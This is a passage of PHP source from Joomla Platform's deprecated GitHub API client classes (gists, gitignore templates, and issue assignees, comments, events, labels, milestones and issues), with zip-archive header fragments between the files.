$path = '/gists/' . (int) $gistId . '/star';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code == 204)
{
return true;
}
elseif ($response->code == 404)
{
return false;
}
else
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to star a gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function star($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/star';
// Send the request.
$response = $this->client->put($this->fetchUrl($path),
'');
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to star a gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function unstar($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/star';
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to fetch a data array for transmitting to the GitHub API for a
list of files based on
* an input array of file paths or filename and content pairs.
*
* @param array $files The list of file paths or filenames and
content.
*
* @throws InvalidArgumentException
* @since 1.7.3
*
* @return array
*/
protected function buildFileData(array $files)
{
$data = array();
foreach ($files as $key => $file)
{
// If the key isn't numeric, then we are dealing with a file whose
content has been supplied
if (!is_numeric($key))
{
$data[$key] = array('content' => $file);
}
// Otherwise, we have been given a path and we have to load the content
// Verify that the each file exists.
elseif (!file_exists($file))
{
throw new InvalidArgumentException('The file ' . $file .
' does not exist.');
}
else
{
$data[basename($file)] = array('content' =>
file_get_contents($file));
}
}
return $data;
}
/*
* Deprecated methods
*/
/**
* Method to create a comment on a gist.
*
* @param integer $gistId The gist number.
* @param string $body The comment body text.
*
* @deprecated use gists->comments->create()
*
* @return object
*
* @since 1.7.3
*/
public function createComment($gistId, $body)
{
return $this->comments->create($gistId, $body);
}
/**
* Method to delete a comment on a gist.
*
* @param integer $commentId The id of the comment to delete.
*
* @deprecated use gists->comments->delete()
*
* @return void
*
* @since 1.7.3
*/
public function deleteComment($commentId)
{
$this->comments->delete($commentId);
}
/**
* Method to update a comment on a gist.
*
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @deprecated use gists->comments->edit()
*
* @return object
*
* @since 1.7.3
*/
public function editComment($commentId, $body)
{
return $this->comments->edit($commentId, $body);
}
/**
* Method to get a specific comment on a gist.
*
* @param integer $commentId The comment id to get.
*
* @deprecated use gists->comments->get()
*
* @return object
*
* @since 1.7.3
*/
public function getComment($commentId)
{
return $this->comments->get($commentId);
}
/**
* Method to get the list of comments on a gist.
*
* @param integer $gistId The gist number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @deprecated use gists->comments->getList()
*
* @return array
*
* @since 1.7.3
*/
public function getComments($gistId, $page = 0, $limit = 0)
{
return $this->comments->getList($gistId, $page, $limit);
}
}
PKKn�[�����github/package/gitignore.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Gitignore class for the Joomla Platform.
*
* The .gitignore Templates API lists and fetches templates from the GitHub
.gitignore repository.
*
* @documentation https://developer.github.com/v3/gitignore/
* @documentation https://github.com/github/gitignore
*
* @since 3.3.0
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageGitignore extends JGithubPackage
{
/**
* Listing available templates
*
* List all templates available to pass as an option when creating a
repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList()
{
// Build the request path.
$path = '/gitignore/templates';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a single template
*
* @param string $name The name of the template
* @param boolean $raw Raw output
*
* @throws DomainException
* @since 3.3 (CMS)
*
* @return mixed|string
*/
public function get($name, $raw = false)
{
// Build the request path.
$path = '/gitignore/templates/' . $name;
$headers = array();
if ($raw)
{
$headers['Accept'] =
'application/vnd.github.raw+json';
}
$response = $this->client->get($this->fetchUrl($path),
$headers);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Invalid response';
throw new DomainException($message, $response->code);
}
return ($raw) ? $response->body : json_decode($response->body);
}
}
PKKn�[�N&]]#github/package/issues/assignees.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Assignees class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/issues/assignees/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesAssignees extends JGithubPackage
{
/**
* List assignees.
*
* This call lists all the available assignees (owner + collaborators) to
which issues may be assigned.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @return object
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/assignees';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check assignee.
*
* You may check to see if a particular user is an assignee for a
repository.
* If the given assignee login belongs to an assignee for the repository,
a 204 header
* with no content is returned.
* Otherwise a 404 status code is returned.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $assignee The assignees login name.
*
* @throws DomainException|Exception
* @return boolean
*/
public function check($owner, $repo, $assignee)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/assignees/' . $assignee;
try
{
$response = $this->client->get($this->fetchUrl($path));
if (204 == $response->code)
{
return true;
}
throw new DomainException('Invalid response: ' .
$response->code);
}
catch (DomainException $e)
{
if (isset($response->code) && 404 == $response->code)
{
return false;
}
throw $e;
}
}
}
PKKn�[(bOS
"github/package/issues/comments.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Comments class for the Joomla Platform.
*
* The Issue Comments API supports listing, viewing, editing, and creating
comments
* on issues and pull requests.
*
* @documentation https://developer.github.com/v3/issues/comments/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesComments extends JGithubPackage
{
/**
* Method to get the list of comments on an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($owner, $repo, $issueId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . (int) $issueId . '/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* Method to get the list of comments in a repository.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sort The sort field - created or updated.
* @param string $direction The sort order- asc or desc. Ignored
without sort parameter.
* @param JDate $since A timestamp in ISO 8601 format.
*
* @throws UnexpectedValueException
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getRepositoryList($owner, $repo, $sort =
'created', $direction = 'asc', JDate $since = null)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/comments';
if (false == in_array($sort, array('created',
'updated')))
{
throw new UnexpectedValueException(
sprintf(
'%1$s - sort field must be "created" or
"updated"', __METHOD__
)
);
}
if (false == in_array($direction, array('asc',
'desc')))
{
throw new UnexpectedValueException(
sprintf(
'%1$s - direction field must be "asc" or
"desc"', __METHOD__
)
);
}
$path .= '?sort=' . $sort;
$path .= '&direction=' . $direction;
if ($since)
{
$path .= '&since=' . $since->toISO8601();
}
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Method to get a single comment.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The comment id.
*
* @return mixed
*/
public function get($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/comments/' . (int) $id;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to update a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @since 1.7.3
* @throws DomainException
*
* @return object
*/
public function edit($user, $repo, $commentId, $body)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/comments/' . (int) $commentId;
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to create a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param string $body The comment body text.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $issueId, $body)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/' . (int) $issueId . '/comments';
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to delete a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to delete.
*
* @throws DomainException
* @since 1.7.3
*
* @return boolean
*/
public function delete($user, $repo, $commentId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/comments/' . (int) $commentId;
// Send the request.
$this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
return true;
}
}
PKKn�[��3Z�
�
github/package/issues/events.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Issues Events class for the Joomla Platform.
*
* Records various events that occur around an Issue or Pull Request.
* This is useful both for display on issue/pull request information pages
and also
* to determine who should be notified of comments.
*
* @documentation https://developer.github.com/v3/issues/events/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesEvents extends JGithubPackage
{
/**
* List events for an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueNumber The issue number.
* @param integer $page The page number from which to get
items.
* @param integer $limit The number of items on a page.
*
* @return object
*/
public function getList($owner, $repo, $issueNumber, $page = 0, $limit =
0)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . (int) $issueNumber . '/events';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* List events for a repository.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @return object
*/
public function getListRepository($owner, $repo, $issueId, $page = 0,
$limit = 0)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . (int) $issueId . '/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* Get a single event.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The event number.
*
* @return object
*/
public function get($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/events/' . (int) $id;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
PKKn�[�l���
github/package/issues/labels.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Milestones class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/issues/labels/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesLabels extends JGithubPackage
{
/**
* Method to get the list of labels on a repo.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @throws DomainException
* @since 3.1.4
*
* @return array
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/labels';
// Send the request.
return $this->processResponse(
$response = $this->client->get($this->fetchUrl($path))
);
}
/**
* Method to get a specific label on a repo.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name to get.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function get($user, $repo, $name)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/labels/' . $name;
// Send the request.
return $this->processResponse(
$response = $this->client->get($this->fetchUrl($path))
);
}
/**
* Method to create a label on a repo.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name.
* @param string $color The label color.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function create($owner, $repo, $name, $color)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/labels';
// Build the request data.
$data = json_encode(
array(
'name' => $name,
'color' => $color,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a label on a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $label The label name.
* @param string $name The new label name.
* @param string $color The new label color.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function update($user, $repo, $label, $name, $color)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/labels/' . $label;
// Build the request data.
$data = json_encode(
array(
'name' => $name,
'color' => $color,
)
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to delete a label on a repo.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name.
*
* @throws DomainException
* @return object
*
* @since 3.1.4
*/
public function delete($owner, $repo, $name)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/labels/' . $name;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* List labels on an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $number The issue number.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListByIssue($owner, $repo, $number)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Add labels to an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
* @param array $labels An array of labels to add.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function add($owner, $repo, $number, array $labels)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($labels))
);
}
/**
* Remove a label from an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
* @param string $name The name of the label to remove.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function removeFromIssue($owner, $repo, $number, $name)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels/' . $name;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path))
);
}
/**
* Replace all labels for an issue.
*
* Sending an empty array ([]) will remove all Labels from the Issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
* @param array $labels New labels
*
* @since 3.3 (CMS)
*
* @return object
*/
public function replace($owner, $repo, $number, array $labels)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->put($this->fetchUrl($path),
json_encode($labels))
);
}
/**
.* Remove all labels from an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function removeAllFromIssue($owner, $repo, $number)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Get labels for every issue in a milestone.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListByMilestone($owner, $repo, $number)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/milestones/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
PKKn�[�W���$github/package/issues/milestones.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Milestones class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/issues/milestones/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesMilestones extends JGithubPackage
{
/**
* Method to get the list of milestones for a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $state The milestone state to retrieved. Open
(default) or closed.
* @param string $sort Sort can be due_date (default) or
completeness.
* @param string $direction Direction is asc or desc (default).
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 3.1.4
*
* @return array
*/
public function getList($user, $repo, $state = 'open', $sort =
'due_date', $direction = 'desc', $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones?';
$path .= 'state=' . $state;
$path .= '&sort=' . $sort;
$path .= '&direction=' . $direction;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a specific milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The milestone id to get.
*
* @throws DomainException
* @return object
*
* @since 3.1.4
*/
public function get($user, $repo, $milestoneId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a milestone for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $title The title of the milestone.
* @param string $state Can be open (default) or closed.
* @param string $description Optional description for milestone.
* @param string $dueOn Optional ISO 8601 time.
*
* @throws DomainException
* @return object
*
* @since 3.1.4
*/
public function create($user, $repo, $title, $state = null, $description =
null, $dueOn = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones';
// Build the request data.
$data = array(
'title' => $title,
);
if (!is_null($state))
{
$data['state'] = $state;
}
if (!is_null($description))
{
$data['description'] = $description;
}
if (!is_null($dueOn))
{
$data['due_on'] = $dueOn;
}
$data = json_encode($data);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The id of the comment to update.
* @param integer $title Optional title of the milestone.
* @param string $state Can be open (default) or closed.
* @param string $description Optional description for milestone.
* @param string $dueOn Optional ISO 8601 time.
*
* @throws DomainException
* @return object
*
* @since 3.1.4
*/
public function edit($user, $repo, $milestoneId, $title = null, $state =
null, $description = null, $dueOn = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Build the request data.
$data = array();
if (!is_null($title))
{
$data['title'] = $title;
}
if (!is_null($state))
{
$data['state'] = $state;
}
if (!is_null($description))
{
$data['description'] = $description;
}
if (!is_null($dueOn))
{
$data['due_on'] = $dueOn;
}
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The id of the milestone to delete.
*
* @throws DomainException
* @return void
*
* @since 3.1.4
*/
public function delete($user, $repo, $milestoneId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
}
PKLn�[����9�9github/package/issues.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Issues class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/issues
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @property-read JGithubPackageIssuesAssignees $assignees GitHub API
object for assignees.
* @property-read JGithubPackageIssuesComments $comments GitHub API
object for comments.
* @property-read JGithubPackageIssuesEvents $events GitHub API
object for events.
* @property-read JGithubPackageIssuesLabels $labels GitHub API
object for labels.
* @property-read JGithubPackageIssuesMilestones $milestones GitHub API
object for milestones.
*/
class JGithubPackageIssues extends JGithubPackage
{
protected $name = 'Issues';
protected $packages = array('assignees', 'comments',
'events', 'labels', 'milestones');
/**
* Method to create an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $title The title of the new issue.
* @param string $body The body text for the new issue.
* @param string $assignee The login for the GitHub user that this
issue should be assigned to.
* @param integer $milestone The milestone to associate this issue
with.
* @param array $labels The labels to associate with this issue.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $title, $body = null, $assignee =
null, $milestone = null, array $labels = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues';
// Ensure that we have a non-associative array.
if (isset($labels))
{
$labels = array_values($labels);
}
// Build the request data.
$data = json_encode(
array(
'title' => $title,
'assignee' => $assignee,
'milestone' => $milestone,
'labels' => $labels,
'body' => $body,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param string $state The optional new state for the issue.
[open, closed]
* @param string $title The title of the new issue.
* @param string $body The body text for the new issue.
* @param string $assignee The login for the GitHub user that this
issue should be assigned to.
* @param integer $milestone The milestone to associate this issue
with.
* @param array $labels The labels to associate with this issue.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($user, $repo, $issueId, $state = null, $title = null,
$body = null, $assignee = null, $milestone = null, array $labels = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/' . (int) $issueId;
// Create the data object.
$data = new stdClass;
// If a title is set add it to the data object.
if (isset($title))
{
$data->title = $title;
}
// If a body is set add it to the data object.
if (isset($body))
{
$data->body = $body;
}
// If a state is set add it to the data object.
if (isset($state))
{
$data->state = $state;
}
// If an assignee is set add it to the data object.
if (isset($assignee))
{
$data->assignee = $assignee;
}
// If a milestone is set add it to the data object.
if (isset($milestone))
{
$data->milestone = $milestone;
}
// If labels are set add them to the data object.
if (isset($labels))
{
// Ensure that we have a non-associative array.
if (isset($labels))
{
$labels = array_values($labels);
}
$data->labels = $labels;
}
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($user, $repo, $issueId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/' . (int) $issueId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list an authenticated user's issues.
*
* @param string $filter The filter type: assigned, created,
mentioned, subscribed.
* @param string $state The optional state to filter requests by.
[open, closed]
* @param string $labels The list of comma separated Label names.
Example: bug,ui,@high.
* @param string $sort The sort order: created, updated,
comments, default: created.
* @param string $direction The list direction: asc or desc, default:
desc.
* @param JDate $since The date/time since when issues should be
returned.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($filter = null, $state = null, $labels = null,
$sort = null,
$direction = null, JDate $since = null, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/issues';
// TODO Implement the filtering options.
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list issues.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $milestone The milestone number, 'none',
or *.
* @param string $state The optional state to filter requests by.
[open, closed]
* @param string $assignee The assignee name, 'none', or
*.
* @param string $mentioned The GitHub user name.
* @param string $labels The list of comma separated Label names.
Example: bug,ui,@high.
* @param string $sort The sort order: created, updated,
comments, default: created.
* @param string $direction The list direction: asc or desc, default:
desc.
* @param JDate $since The date/time since when issues should be
returned.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getListByRepository($user, $repo, $milestone = null,
$state = null, $assignee = null, $mentioned = null, $labels = null,
$sort = null, $direction = null, JDate $since = null, $page = 0, $limit =
0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues';
$uri = new JUri($this->fetchUrl($path, $page, $limit));
if ($milestone)
{
$uri->setVar('milestone', $milestone);
}
if ($state)
{
$uri->setVar('state', $state);
}
if ($assignee)
{
$uri->setVar('assignee', $assignee);
}
if ($mentioned)
{
$uri->setVar('mentioned', $mentioned);
}
if ($labels)
{
$uri->setVar('labels', $labels);
}
if ($sort)
{
$uri->setVar('sort', $sort);
}
if ($direction)
{
$uri->setVar('direction', $direction);
}
if ($since)
{
$uri->setVar('since', $since->toISO8601());
}
// Send the request.
$response = $this->client->get((string) $uri);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/*
* Deprecated methods
*/
/**
* Method to create a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param string $body The comment body text.
*
* @deprecated use issues->comments->create()
*
* @return object
*
* @since 1.7.3
*/
public function createComment($user, $repo, $issueId, $body)
{
return $this->comments->create($user, $repo, $issueId, $body);
}
/**
* Method to create a label on a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name.
* @param string $color The label color.
*
* @deprecated use issues->labels->create()
*
* @return object
*
* @since 3.1.4
*/
public function createLabel($user, $repo, $name, $color)
{
return $this->labels->create($user, $repo, $name, $color);
}
/**
